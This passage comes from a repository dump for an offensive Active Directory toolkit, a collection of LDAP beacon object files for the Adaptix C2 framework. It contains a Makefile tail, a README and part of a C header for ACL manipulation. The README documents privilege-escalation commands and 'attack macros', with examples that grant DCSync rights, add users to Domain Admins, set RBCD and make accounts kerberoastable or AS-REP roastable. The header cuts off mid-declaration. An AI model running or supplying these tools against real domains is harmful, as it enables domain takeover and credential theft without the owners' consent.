_bin/LDAP/set-spn.x64.o && $(STRIP) _bin/LDAP/set-spn.x64.o && echo '[+] set-spn' || echo '[!] set-spn'\n\t@$(CC) $(CFLAGS) src/set/set-delegation.c -o _bin/LDAP/set-delegation.x64.o && $(STRIP) _bin/LDAP/set-delegation.x64.o && echo '[+] set-delegation' || echo '[!] set-delegation'\n\t@$(CC) $(CFLAGS) src/set/set-attribute.c -o _bin/LDAP/set-attribute.x64.o && $(STRIP) _bin/LDAP/set-attribute.x64.o && echo '[+] set-attribute' || echo '[!] set-attribute'\n\t@$(CC) $(CFLAGS) src/set/set-uac.c -o _bin/LDAP/set-uac.x64.o && $(STRIP) _bin/LDAP/set-uac.x64.o && echo '[+] set-uac' || echo '[!] set-uac'\n\t@$(CC) $(CFLAGS) src/set/set-owner.c -o _bin/LDAP/set-owner.x64.o && $(STRIP) _bin/LDAP/set-owner.x64.o && echo '[+] set-owner' || echo '[!] set-owner'\n\t@$(CC) $(CFLAGS) src/move/move-object.c -o _bin/LDAP/move-object.x64.o && $(STRIP) _bin/LDAP/move-object.x64.o && echo '[+] move-object' || echo '[!] move-object'\n\t@$(CC) $(CFLAGS) src/remove/remove-groupmember.c -o _bin/LDAP/remove-groupmember.x64.o && $(STRIP) _bin/LDAP/remove-groupmember.x64.o && echo '[+] remove-groupmember' || echo '[!] remove-groupmember'\n\t@$(CC) $(CFLAGS) src/remove/remove-object.c -o _bin/LDAP/remove-object.x64.o && $(STRIP) _bin/LDAP/remove-object.x64.o && echo '[+] remove-object' || echo '[!] remove-object'\n\t@$(CC) $(CFLAGS) src/remove/remove-delegation.c -o _bin/LDAP/remove-delegation.x64.o && $(STRIP) _bin/LDAP/remove-delegation.x64.o && echo '[+] remove-delegation' || echo '[!] remove-delegation'\n\t@$(CC) $(CFLAGS) src/remove/remove-spn.c -o _bin/LDAP/remove-spn.x64.o && $(STRIP) _bin/LDAP/remove-spn.x64.o && echo '[+] remove-spn' || echo '[!] remove-spn'\n\t@$(CC) $(CFLAGS) src/remove/remove-attribute.c -o _bin/LDAP/remove-attribute.x64.o && $(STRIP) _bin/LDAP/remove-attribute.x64.o && echo '[+] remove-attribute' || echo '[!] remove-attribute'\n\t@$(CC) $(CFLAGS) src/remove/remove-rbcd.c -o _bin/LDAP/remove-rbcd.x64.o && $(STRIP) _bin/LDAP/remove-rbcd.x64.o && echo '[+] remove-rbcd' || echo '[!] remove-rbcd'\n\t@$(CC) $(CFLAGS) src/remove/remove-ace.c -o _bin/LDAP/remove-ace.x64.o && $(STRIP) _bin/LDAP/remove-ace.x64.o && echo '[+] remove-ace' || echo '[!] remove-ace'\n\t@$(CC) $(CFLAGS) src/remove/remove-uac.c -o _bin/LDAP/remove-uac.x64.o && $(STRIP) _bin/LDAP/remove-uac.x64.o && echo '[+] remove-uac' || echo '[!] remove-uac'\n\nclean:\n\t@rm -rf _bin/LDAP\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/README.md",
    "content": "# LDAP BOF Collection\n\nCollection of many LDAP bofs for domain enumeration and privilege escalation. This project was created for use with the Adaptix C2, and has a mapping file which registers commands under the `ldap` prefix. To see usage for any command, run `help ldap {command}`.\n\n## Command Reference\n\n### View Usage\n\n```bash\nhelp ldap {command}\n```\n\n### Enumeration Commands (GET)\n\n| Command            | Description                                                    | Usage Example                                                                    |\n|--------------------|----------------------------------------------------------------|----------------------------------------------------------------------------------|\n| `get-users`        | List all users in the domain                                   | `ldap get-users [-ou ou_path] [-dc dc_fqdn] [-a attributes] [--ldaps]`           |\n| `get-computers`    | List all computers in the domain                               | `ldap get-computers [-ou ou_path] [-dc dc_fqdn] [-a attributes] [--ldaps]`       |\n| `get-groups`       | List all groups in the domain                                  | `ldap get-groups [-ou ou_path] [-dc dc_fqdn] [-a attributes] [--ldaps]`          |\n| `get-usergroups`   | List all groups a user is a member of                          | `ldap get-usergroups <user> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`               |\n| `get-groupmembers` | List all members of a group                                    | `ldap get-groupmembers <group> [-ou ou_path] [-dc dc_fqdn]`                      |\n| `get-object`       | Get all attributes of an object                                | `ldap get-object <target> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                 |\n| `get-maq`          | Get machine account quota (ms-DS-MachineAccountQuota)          | `ldap get-maq [-dc dc_fqdn] [--ldaps]`                                           |\n| `get-domaininfo`   | Query domain information from rootDSE                          | `ldap get-domaininfo [-dc dc_fqdn] [--ldaps]`                                    |\n| `get-writable`     | Find objects you have write access to                          | `ldap get-writable [-ou ou_path] [-dc dc_fqdn] [--ldaps] [--detailed]`           |\n| `get-delegation`   | Get delegation configuration for an object                     | `ldap get-delegation <target> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`             |\n| `get-uac`          | Get UAC flags for an object                                    | `ldap get-uac <target> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                    |\n| `get-attribute`    | Get specific attribute values (comma-separated list supported) | `ldap get-attribute <target> <attributes> [-ou ou_path] [-dc dc_fqdn] [--ldaps]` |\n| `get-spn`          | Get SPNs for an object                                         | `ldap get-spn <target> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                    |\n| `get-acl`          | Get ACL/security descriptor for an object                      | `ldap get-acl <target> [-ou ou_path] [-dc dc_fqdn] [--ldaps] [--resolve]`        |\n| `get-rbcd`         | Get RBCD configuration for an object                           | `ldap get-rbcd <target> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                   |\n\n### Creation Commands (ADD)\n\n| Command           | Description                                   | Usage Example                                                                                                                                              |\n|-------------------|-----------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| `add-user`        | Add a user to the domain                      | `ldap add-user <username> <password> [-fn firstname] [-ln lastname] [-email email] [--disabled] [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                     |\n| `add-computer`    | Add a computer to the domain                  | `ldap add-computer <computer> [-p password] [-ou ou_path] [-dc dc_fqdn] [--disabled] [--ldaps]`                                                            |\n| `add-group`       | Add a group to the domain                     | `ldap add-group <groupname> [-desc description] [-type type] [-scope scope] [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                         |\n| `add-groupmember` | Add a member to a group                       | `ldap add-groupmember <group> <member> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                                                              |\n| `add-ou`          | Add an organizational unit                    | `ldap add-ou <ou_name> [-desc description] [-parent parent_ou] [-dc dc_fqdn] [--ldaps]`                                                                    |\n| `add-sidhistory`  | Add a SID to an object's sidHistory attribute | `ldap add-sidhistory <target> <sid_source> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                                                          |\n| `add-spn`         | Add an SPN to a object                        | `ldap add-spn <target> <spn> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                                                                        |\n| `add-attribute`   | Add a value to an attribute                   | `ldap add-attribute <target> <attribute> <value> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                                                    |\n| `add-uac`         | Add UAC flags to an object                    | `ldap add-uac <target> <flags> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                                                                      |\n| `add-delegation`  | Add a delegation SPN to an object             | `ldap add-delegation <target> <spn> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                                                                 |\n| `add-ace`         | Add an ACE to an object's DACL                | `ldap add-ace <target> <trustee> <rights> [-type ace_type] [-flags flags] [-guid guid] [-inherit-guid inherit_guid] [-ou ou_path] [-dc dc_fqdn] [--ldaps]` |\n| `add-rbcd`        | Add an RBCD delegation                        | `ldap add-rbcd <target> <delegate> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                                                                  |\n\n### Modification Commands (SET)\n\n| Command          | Description                                      | Usage Example                                                                           |\n|------------------|--------------------------------------------------|-----------------------------------------------------------------------------------------|\n| `set-password`   | Set/reset a user's password                      | `ldap set-password <target> <password> [-old old_password] [-ou ou_path] [-dc dc_fqdn]` |\n| `set-spn`        | Set/replace all SPNs on an object                | `ldap set-spn <target> <spn> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                     |\n| `set-delegation` | Set/replace delegation SPNs                      | `ldap set-delegation <target> <spn> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`              |\n| `set-attribute`  | Set/replace an attribute value                   | `ldap set-attribute <target> <attribute> <value> [-ou ou_path] [-dc dc_fqdn] [--ldaps]` |\n| `set-uac`        | Set UAC flags (replaces all)                     | `ldap set-uac <target> <flags> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                   |\n| `set-owner`      | Set the owner of an object (requires WriteOwner) | `ldap set-owner <target> <owner> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                 |\n\n### Other Commands\n\n| Command       | Description                      | Usage Example                                                                                |\n|---------------|----------------------------------|----------------------------------------------------------------------------------------------|\n| `move-object` | Move an object to a different OU | `ldap move-object <object> <destination> [-n newname] [-ou ou_path] [-dc dc_fqdn] [--ldaps]` |\n\n### Removal Commands (REMOVE)\n\n| Command              | Description                            | Usage Example                                                                                                                            |\n|----------------------|----------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------|\n| `remove-groupmember` | Remove a member from a group           | `ldap remove-groupmember <group> <member> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                                         |\n| `remove-object`      | Remove an object from the domain       | `ldap remove-object <object> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                                                      |\n| `remove-delegation`  | Remove a delegation SPN                | `ldap remove-delegation <target> <spn> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                                            |\n| `remove-spn`         | Remove an SPN from an object           | `ldap remove-spn <target> <spn> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                                                   |\n| `remove-attribute`   | Remove an attribute or attribute value | `ldap remove-attribute <target> <attribute> [-value value] [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                        |\n| `remove-ace`         | Remove an ACE from an object's DACL    | `ldap remove-ace <target> [-trustee trustee] [-rights rights] [-type ace_type] [-index ace_index] [-ou ou_path] [-dc dc_fqdn] [--ldaps]` |\n| `remove-rbcd`        | Remove an RBCD delegation              | `ldap remove-rbcd <target> <delegate> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                                             |\n| `remove-uac`         | Remove UAC flags from an object        | `ldap remove-uac <target> <flags> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                                                 |\n\n### Attack Macros\n\nThese macros simplify common AD exploitation techniques by wrapping multiple operations:\n\n| Macro                 | Description                                         | Usage Example                                                                                                                                              |\n|-----------------------|-----------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| `add-genericall`      | Add a GenericAll ACE to an object's DACL            | `ldap add-genericall <target> <trustee> [-type ace_type] [-flags flags] [-guid guid] [-inherit-guid inherit_guid] [-ou ou_path] [-dc dc_fqdn] [--ldaps]`   |\n| `add-genericwrite`    | Add a GenericWrite ACE to an object's DACL          | `ldap add-genericwrite <target> <trustee> [-type ace_type] [-flags flags] [-guid guid] [-inherit-guid inherit_guid] [-ou ou_path] [-dc dc_fqdn] [--ldaps]` |\n| `add-asreproastable`  | Make a user AS-REP roastable (set DONT_REQ_PREAUTH) | `ldap add-asreproastable <target> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                                                                   |\n| `add-dcsync`          | Add DCSync ACEs to an object's DACL                 | `ldap add-dcsync <target> <trustee> [-type ace_type] [-flags flags] [-guid guid] [-inherit-guid inherit_guid] [-ou ou_path] [-dc dc_fqdn] [--ldaps]`       |\n| `add-unconstrained`   | Enable unconstrained delegation on an object        | `ldap add-unconstrained <target> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                                                                    |\n| `add-constrained`     | Set/replace delegation SPNs                         | `ldap add-constrained <target> <spn> [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                                                                |\n| `remove-genericall`   | Remove a GenericAll ACE from an object's DACL       | `ldap remove-genericall <target> <trustee> [-type ace_type] [-index ace_index] [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                      |\n| `remove-genericwrite` | Remove a GenericWrite ACE from an object's DACL     | `ldap remove-genericwrite <target> <trustee> [-type ace_type] [-index ace_index] [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                    |\n| `remove-dcsync`       | Remove DCSync ACEs from an object's DACL            | `ldap remove-dcsync <target> <trustee> [-type ace_type] [-index ace_index] [-ou ou_path] [-dc dc_fqdn] [--ldaps]`                                          |\n\n## Usage Examples\n\n### Basic Enumeration\n```bash\n# List all domain users\nldap get-users\n\n# List computers in specific OU\nldap get-computers -ou \"OU=Servers,DC=corp,DC=local\"\n\n# Query user's group memberships\nldap get-usergroups jane.doe\n\n# Find objects you can modify\nldap get-writable --detailed\n```\n\n### User/Computer Creation\n```bash\n# Create new user\nldap add-user jane.doe Password123!\n\n# Create computer account\nldap add-computer TESTCOMP -p Password123!\n\n# Add user to Domain Admins\nldap add-groupmember \"Domain Admins\" jane.doe\n```\n\n### Password & Attribute Manipulation\n```bash\n# Change user password\nldap set-password targetuser Password123!\n\n# Make user kerberoastable\nldap add-spn targetuser HTTP/fake.service\n\n# Make user AS-REP roastable\nldap add-asreproastable targetuser\n```\n\n### Delegation Attacks\n```bash\n# Configure unconstrained delegation\nldap add-unconstrained WS01$\n\n# Configure constrained delegation\nldap add-constrained WS02$ CIFS/DC01.corp.local\n\n# Configure RBCD\nldap add-rbcd DC01$ ATTACKER$\n```\n\n### ACL/Permission Manipulation\n```bash\n# View object's ACL\nldap get-acl \"CN=AdminUser,CN=Users,DC=corp,DC=local\"\n\n# Grant DCSync rights\nldap add-dcsync \"DC=corp,DC=local\" eviluser\n\n# Grant GenericAll on user\nldap add-genericall targetuser attackeruser\n\n# Remove specific ACE\nldap remove-ace targetuser -index 5\n```\n\n### LDAPS Usage\n```bash\n# Use LDAPS (port 636) for sensitive operations\nldap set-password targetuser NewP@ss789 --ldaps\nldap add-user secretuser P@ss123 --ldaps\n```\n\n### Targeting Specific DC\n```bash\n# Target specific domain controller\nldap get-users -dc 192.168.1.10\nldap add-groupmember \"Domain Admins\" attacker -dc 192.168.1.10\n```\n\n\n## Technical Details\n\n### Authentication\nAll LDAP operations use the current beacon's security context. The toolkit automatically:\n- Retrieves current user credentials\n- Establishes authenticated LDAP binds\n- Negotiates signing/sealing for LDAP\n- Handles LDAPS certificate validation (accepts all)\n\nSomething I discovered in testing that may or may not be relevant to you: \n\n### DN vs Username Detection\nCommands automatically detect input format:\n- **Distinguished Names** - Match pattern: `CN=...,DC=...`\n- **Usernames** - Simple alphanumeric strings\n- Automatic search and conversion when needed\n\n### LDAPS Certificate Handling\nThe toolkit includes a permissive certificate callback that accepts all server certificates, useful for environments with self-signed certificates or certificate mismatches.\n\n### Common Permissions Required\n- **User/Computer Creation** - Write access to target OU, may require specific extended rights\n- **Group Modifications** - Write access to group object\n- **Password Changes** - \"Reset Password\" or \"Change Password\" rights\n- **ACL Modifications** - WriteDACL permission on target object\n- **Delegation** - Write to `msDS-AllowedToActOnBehalfOfOtherIdentity` or `userAccountControl`\n\n## Troubleshooting\n\n### Connection Issues\n```bash\n# Test basic connectivity\nldap get-domaininfo\n\n# Try explicit DC specification\nldap get-domaininfo -dc 192.168.1.10\n\n# Use LDAPS if port 389 is blocked\nldap get-domaininfo --ldaps\n```\n\n### Permission Errors\n- Verify current user context: `whoami`\n- Check object permissions: `ldap get-acl {target}`\n- Use `ldap get-writable` to find modifiable objects\n\n### Object Not Found\n```bash\n# Use distinguished name instead of username\nldap get-object \"CN=jane.doe,CN=Users,DC=corp,DC=local\"\n\n# Specify search OU\nldap get-users -ou \"OU=Employees,DC=corp,DC=local\"\n```\n\n## Credits\n\n- [bloodyAD](https://github.com/CravateRouge/bloodyAD)\n- [ldapsearch bof](https://github.com/trustedsec/CS-Situational-Awareness-BOF)\n"
  },
  {
    "path": "AD-BOF/LDAP-BOF/_include/acl_common.h",
    "content": "#ifndef ACL_COMMON_H\n#define ACL_COMMON_H\n\n#include <windows.h>\n#include <aclapi.h>\n\n// ============================================================================\n// SECURITY DESCRIPTOR STRUCTURES\n// ============================================================================\n\n// Security Descriptor Control flags\n/*\n#define SE_OWNER_DEFAULTED              0x0001\n#define SE_GROUP_DEFAULTED              0x0002\n#define SE_DACL_PRESENT                 0x0004\n#define SE_DACL_DEFAULTED               0x0008\n#define SE_SACL_PRESENT                 0x0010\n#define SE_SACL_DEFAULTED               0x0020\n#define SE_DACL_AUTO_INHERIT_REQ        0x0100\n#define SE_SACL_AUTO_INHERIT_REQ        0x0200\n#define SE_DACL_AUTO_INHERITED          0x0400\n#define SE_SACL_AUTO_INHERITED          0x0800\n#define SE_DACL_PROTECTED               0x1000\n#define SE_SACL_PROTECTED               0x2000\n#define SE_RM_CONTROL_VALID             0x4000\n#define SE_SELF_RELATIVE                0x8000\n*/\n\n// ACL Revision constants\n#ifndef ACL_REVISION\n#define ACL_REVISION                    0x02\n#endif\n#ifndef ACL_REVISION_DS\n#define ACL_REVISION_DS                 0x04\n#endif\n\n/*\n// ACE Types\n#define ACCESS_ALLOWED_ACE_TYPE                 0x00\n#define ACCESS_DENIED_ACE_TYPE                  0x01\n#define SYSTEM_AUDIT_ACE_TYPE                   0x02\n#define SYSTEM_ALARM_ACE_TYPE                   0x03\n#define ACCESS_ALLOWED_COMPOUND_ACE_TYPE        0x04\n#define ACCESS_ALLOWED_OBJECT_ACE_TYPE          0x05\n#define ACCESS_DENIED_OBJECT_ACE_TYPE           0x06\n#define SYSTEM_AUDIT_OBJECT_ACE_TYPE            0x07\n#define SYSTEM_ALARM_OBJECT_ACE_TYPE            0x08\n#define ACCESS_ALLOWED_CALLBACK_ACE_TYPE        0x09\n#define ACCESS_DENIED_CALLBACK_ACE_TYPE         0x0A\n#define ACCESS_ALLOWED_CALLBACK_OBJECT_ACE_TYPE 0x0B\n#define ACCESS_DENIED_CALLBACK_OBJECT_ACE_TYPE  0x0C\n#define SYSTEM_AUDIT_CALLBACK_ACE_TYPE          0x0D\n#define SYSTEM_ALARM_CALLBACK_ACE_TYPE          0x0E\n#define SYSTEM_AUDIT_CALLBACK_OBJECT_ACE_TYPE   0x0F\n#define SYSTEM_ALARM_CALLBACK_OBJECT_ACE_TYPE   0x10\n#define SYSTEM_MANDATORY_LABEL_ACE_TYPE         0x11\n#define SYSTEM_RESOURCE_ATTRIBUTE_ACE_TYPE      0x12\n#define SYSTEM_SCOPED_POLICY_ID_ACE_TYPE        0x13\n*/\n\n/*\n// ACE Flags (Inheritance and Propagation)\n#define OBJECT_INHERIT_ACE                0x01\n#define CONTAINER_INHERIT_ACE             0x02\n#define NO_PROPAGATE_INHERIT_ACE          0x04\n#define INHERIT_ONLY_ACE                  0x08\n#define INHERITED_ACE                     0x10\n#define SUCCESSFUL_ACCESS_ACE_FLAG        0x40\n#define FAILED_ACCESS_ACE_FLAG            0x80\n*/\n\n/*\n// Access Mask - Generic Rights\n#define GENERIC_READ                      0x80000000\n#define GENERIC_WRITE                     0x40000000\n#define GENERIC_EXECUTE                   0x20000000\n#define GENERIC_ALL                       0x10000000\n\n// Access Mask - Standard Rights\n#define DELETE_ACCESS                     0x00010000\n#define READ_CONTROL                      0x00020000\n#define WRITE_DACL                        0x00040000\n#define WRITE_OWNER                       0x00080000\n#define SYNCHRONIZE                       0x00100000\n#define STANDARD_RIGHTS_REQUIRED          0x000F0000\n#define STANDARD_RIGHTS_READ              READ_CONTROL\n#define STANDARD_RIGHTS_WRITE             READ_CONTROL\n#define STANDARD_RIGHTS_EXECUTE           READ_CONTROL\n#define STANDARD_RIGHTS_ALL               0x001F0000\n\n// Access Mask - Specific Rights (DS Objects)\n#define ADS_RIGHT_DS_CREATE_CHILD         0x00000001\n#define ADS_RIGHT_DS_DELETE_CHILD         0x00000002\n#define ADS_RIGHT_ACTRL_DS_LIST           0x00000004\n#define ADS_RIGHT_DS_SELF                 0x00000008\n#define ADS_RIGHT_DS_READ_PROP            0x00000010\n#define ADS_RIGHT_DS_WRITE_PROP           0x00000020\n#define ADS_RIGHT_DS_DELETE_TREE          0x00000040\n#define ADS_RIGHT_DS_LIST_OBJECT          0x00000080\n#define ADS_RIGHT_DS_CONTROL_ACCESS       0x00000100\n\n// Object ACE Flags\n#define ACE_OBJECT_TYPE_PRESENT           0x00000001\n#define ACE_INHERITED_OBJECT_TYPE_PRESENT 0x00000002\n*/\n\n// Access Mask - Standard Rights\n#define DELETE_ACCESS                     0x00010000\n#define WRITE_DACL                        0x00040000\n\n// Access Mask - Specific Rights (DS Objects)\n#define ADS_RIGHT_DS_CREATE_CHILD         0x00000001\n#define ADS_RIGHT_DS_DELETE_CHILD         0x00000002\n#define ADS_RIGHT_ACTRL_DS_LIST           0x00000004\n#define ADS_RIGHT_DS_SELF                 0x00000008\n#define ADS_RIGHT_DS_READ_PROP            0x00000010\n#define ADS_RIGHT_DS_WRITE_PROP           0x00000020\n#define ADS_RIGHT_DS_DELETE_TREE          0x00000040\n#define ADS_RIGHT_DS_LIST_OBJECT          0x00000080\n#define ADS_RIGHT_DS_CONTROL_ACCESS       0x00000100\n\n// ============================================================================\n// WELL-KNOWN SIDS AND GUIDS\n// ============================================================================\n\n// Well-known SID strings\n#define SID_EVERYONE                      \"S-1-1-0\"\n#define SID_AUTHENTICATED_USERS           \"S-1-5-11\"\n#define SID_SYSTEM                        \"S-1-5-18\"\n#define SID_DOMAIN_ADMINS                 \"S-1-5-21-*-512\"\n#define SID_ENTERPRISE_ADMINS             \"S-1-5-21-*-519\"\n\n// Extended Rights GUIDs (for ADS_RIGHT_DS_CONTROL_ACCESS)\n// User-Force-Change-Password\n#define GUID_USER_FORCE_CHANGE_PASSWORD   \"00299570-246d-11d0-a768-00aa006e0529\"\n\n// DS-Replication-Get-Changes (DCSync)\n#define GUID_DS_REPLICATION_GET_CHANGES       \"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2\"\n#define GUID_DS_REPLICATION_GET_CHANGES_ALL   \"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2\"\n#define GUID_DS_REPLICATION_GET_CHANGES_FILTERED \"89e95b76-444d-4c62-991a-0facbeda640c\"\n\n// DS-Replication-Sync (for completeness)\n#define GUID_DS_REPLICATION_SYNC              \"1131f6ab-9c07-11d1-f79f-00c04fc2dcd2\"\n\n// Generic Read/Write Property GUIDs (all properties)\n#define GUID_ALL_PROPERTIES                   \"00000000-0000-0000-0000-000000000000\"\n\n// ============================================================================\n// STRUCTURES\n// ============================================================================\n\n// ACE Header structure\n#ifdef ACE_HEADER\ntypedef struct _ACE_HEADER {\n    BYTE AceType;\n    BYTE AceFlags;\n    WORD AceSize;\n} ACE_HEADER, *PACE_HEADER;\n#endif\n\n// Standard ACCESS_ALLOWED_ACE structure\n#ifdef ACCESS_ALLOWED_ACE\ntypedef struct _ACCESS_ALLOWED_ACE {\n    ACE_HEADER Header;\n    ACCESS_MASK Mask;\n    DWORD SidStart;  // First DWORD of SID\n} ACCESS_ALLOWED_ACE, *PACCESS_ALLOWED_ACE;\n#endif\n\n// Object ACE structure (for extended rights)\n#ifdef ACCESS_ALLOWED_OBJECT_ACE\ntypedef struct _ACCESS_ALLOWED_OBJECT_ACE {\n    ACE_HEADER Header;\n    ACCESS_MASK Mask;\n    DWORD Flags;\n    GUID ObjectType;\n    GUID InheritedObjectType;\n    DWORD SidStart;\n} ACCESS_ALLOWED_OBJECT_ACE, *PACCESS_ALLOWED_OBJECT_ACE;\n#endif\n\n// Parsed ACE information structure (for display)\ntypedef struct _PARSED_ACE_INFO {\n    BYTE AceType;\n    BYTE AceFlags;\n    ACCESS_MASK Mask;\n    char* TrusteeSid;          // String SID\n    char* TrusteeName;         // Resolved name (optional)\n    BOOL IsObjectAce;\n    GUID ObjectType;           // Valid if IsObjectAce && HasObjectType\n    GUID InheritedObjectType;  // Valid if IsObjectAce && HasInheritedObjectType\n    BOOL HasObjectType;\n    BOOL HasInheritedObjectType;\n} PARSED_ACE_INFO, *PPARSED_ACE_INFO;\n\n// Security Descriptor information structure\ntypedef struct _SD_INFO {\n    char* OwnerSid;\n    char* OwnerName;\n    char* GroupSid;\n    char* GroupName;\n    DWORD ControlFlags;\n    BOOL HasDacl;\n    BOOL HasSacl;\n    DWORD DaclAceCount;\n    DWORD SaclAceCount;\n    PARSED_ACE_INFO* DaclAces;  // Array of parsed DACL ACEs\n    PARSED_ACE_INFO* SaclAces;  // Array of parsed SACL ACEs\n} SD_INFO, *PSD_INFO;\n\n// ============================================================================\n// ADVAPI32 FUNCTION IMPORTS\n// ============================================================================\n\n// Security Descriptor functions\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$InitializeSecurityDescriptor(\n    PSECURITY_DESCRIPTOR pSecurityDescriptor,\n    DWORD dwRevision\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetSecurityDescriptorOwner(\n    PSECURITY_DESCRIPTOR pSecurityDescriptor,\n    PSID* pOwner,\n    LPBOOL lpbOwnerDefaulted\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetSecurityDescriptorGroup(\n    PSECURITY_DESCRIPTOR pSecurityDescriptor,\n    PSID* pGroup,\n    LPBOOL lpbGroupDefaulted\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetSecurityDescriptorDacl(\n    PSECURITY_DESCRIPTOR pSecurityDescriptor,\n    LPBOOL lpbDaclPresent,\n    PACL* pDacl,\n    LPBOOL lpbDaclDefaulted\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetSecurityDescriptorSacl(\n    PSECURITY_DESCRIPTOR pSecurityDescriptor,\n    LPBOOL lpbSaclPresent,\n    PACL* pSacl,\n    LPBOOL lpbSaclDefaulted\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetSecurityDescriptorControl(\n    PSECURITY_DESCRIPTOR pSecurityDescriptor,\n    PSECURITY_DESCRIPTOR_CONTROL pControl,\n    LPDWORD lpdwRevision\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$SetSecurityDescriptorOwner(\n    PSECURITY_DESCRIPTOR pSecurityDescriptor,\n    PSID pOwner,\n    BOOL bOwnerDefaulted\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$SetSecurityDescriptorGroup(\n    PSECURITY_DESCRIPTOR pSecurityDescriptor,\n    PSID pGroup,\n    BOOL bGroupDefaulted\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$SetSecurityDescriptorDacl(\n    PSECURITY_DESCRIPTOR pSecurityDescriptor,\n    BOOL bDaclPresent,\n    PACL pDacl,\n    BOOL bDaclDefaulted\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$SetSecurityDescriptorSacl(\n    PSECURITY_DESCRIPTOR pSecurityDescriptor,\n    BOOL bSaclPresent,\n    PACL pSacl,\n    BOOL bSaclDefaulted\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$MakeAbsoluteSD(\n    PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor,\n    PSECURITY_DESCRIPTOR pAbsoluteSecurityDescriptor,\n    LPDWORD lpdwAbsoluteSecurityDescriptorSize,\n    PACL pDacl,\n    LPDWORD lpdwDaclSize,\n    PACL pSacl,\n    LPDWORD lpdwSaclSize,\n    PSID pOwner,\n    LPDWORD lpdwOwnerSize,\n    PSID pGroup,\n    LPDWORD lpdwGroupSize\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$MakeSelfRelativeSD(\n    PSECURITY_DESCRIPTOR pAbsoluteSecurityDescriptor,\n    PSECURITY_DESCRIPTOR pSelfRelativeSecurityDescriptor,\n    LPDWORD lpdwBufferLength\n);\n\n// SID functions\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$ConvertSidToStringSidA(\n    PSID Sid,\n    LPSTR* StringSid\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$ConvertStringSidToSidA(\n    LPCSTR StringSid,\n    PSID* Sid\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$IsValidSid(\n    PSID pSid\n);\n\nDECLSPEC_IMPORT DWORD WINAPI ADVAPI32$GetLengthSid(\n    PSID pSid\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$CopySid(\n    DWORD nDestinationSidLength,\n    PSID pDestinationSid,\n    PSID pSourceSid\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$EqualSid(\n    PSID pSid1,\n    PSID pSid2\n);\n\n// ACL functions\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$InitializeAcl(\n    PACL pAcl,\n    DWORD nAclLength,\n    DWORD dwAclRevision\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetAclInformation(\n    PACL pAcl,\n    LPVOID pAclInformation,\n    DWORD nAclInformationLength,\n    ACL_INFORMATION_CLASS dwAclInformationClass\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$GetAce(\n    PACL pAcl,\n    DWORD dwAceIndex,\n    LPVOID* pAce\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$AddAce(\n    PACL pAcl,\n    DWORD dwAceRevision,\n    DWORD dwStartingAceIndex,\n    LPVOID pAceList,\n    DWORD nAceListLength\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$DeleteAce(\n    PACL pAcl,\n    DWORD dwAceIndex\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$AddAccessAllowedAce(\n    PACL pAcl,\n    DWORD dwAceRevision,\n    DWORD AccessMask,\n    PSID pSid\n);\n\nDECLSPEC_IMPORT BOOL WINAPI ADVAPI32$AddAccessAllowedAceEx(\n    PACL pAcl,\n    DWORD 